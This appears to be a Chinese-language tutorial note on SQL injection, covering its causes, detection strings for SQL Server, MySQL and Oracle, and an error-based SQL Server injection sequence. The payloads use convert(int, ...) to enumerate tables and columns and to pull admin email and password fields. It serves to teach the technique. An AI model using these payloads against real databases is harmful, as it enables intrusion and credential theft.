时间:2021-07-01 10:21:17 帮助过:2人阅读
Sql注入
Sql注入成因:
1) 转义字符处理不当(如’,--,/**/,会截断原有的语句,执行新语句);
2) 类型处理不当(如接受的是整型的参数,并没有校验也可以接受字符型数据)
3) 查询语句的组装不当
4) 错误处理不当
5) 权限配置不当(可以执行高权限语句)
Sql注入类型:
从参数的角度:基于字符型和数字型的
基于错误的(基于响应时间的盲注,基于相应的注入)可以直观的看到我们查询结果的一类,看不到查询结果就是盲注
识别sql注入:
i. Sqlsever(+连接)1’or ‘ab’=’a’+’b’—(永真)
ii. Mysql(空格连接)1’or ‘ab’=’a’’b’ (永真)
iii. 奥瑞考(||连接)1’or ‘ab’=’a’||’b’
基于错误的sql注入基本原理:
Sqlsever数据库中convert是一个进行类型转换的函数
1=convert(int,@@version)--
拆解库名:1=convert(int,db_name())--
得到当前用户名:1=convert(int,user_name())—
拆解表名:
1=convert(int,(select top 1 table_name from information_schema_tables))—
1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘pp_category’)))—not in排除第一次选中的表名,就可以得到第二个表名,以此类推
拆解列名:
1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’pp_admin_tb’))—
1=convert(int,(select top 1 column_name from information_schema_columns where table_name=’pp_admin_tb’and column_name not in(‘adminsign_id’)))—
得到字段数据:
1=convert(int,(select top 1 email_id from pp_admin_tb))—
得到字段数据;
1=convert(int,(select top 1 password from pp_admin_tb))—
Sqlmap项目源码:https://github.com/sqlmapproject/sqlmap
手册:https://github.com/sqlmapproject/sqlmap/wiki/Useage
sql注入
标签: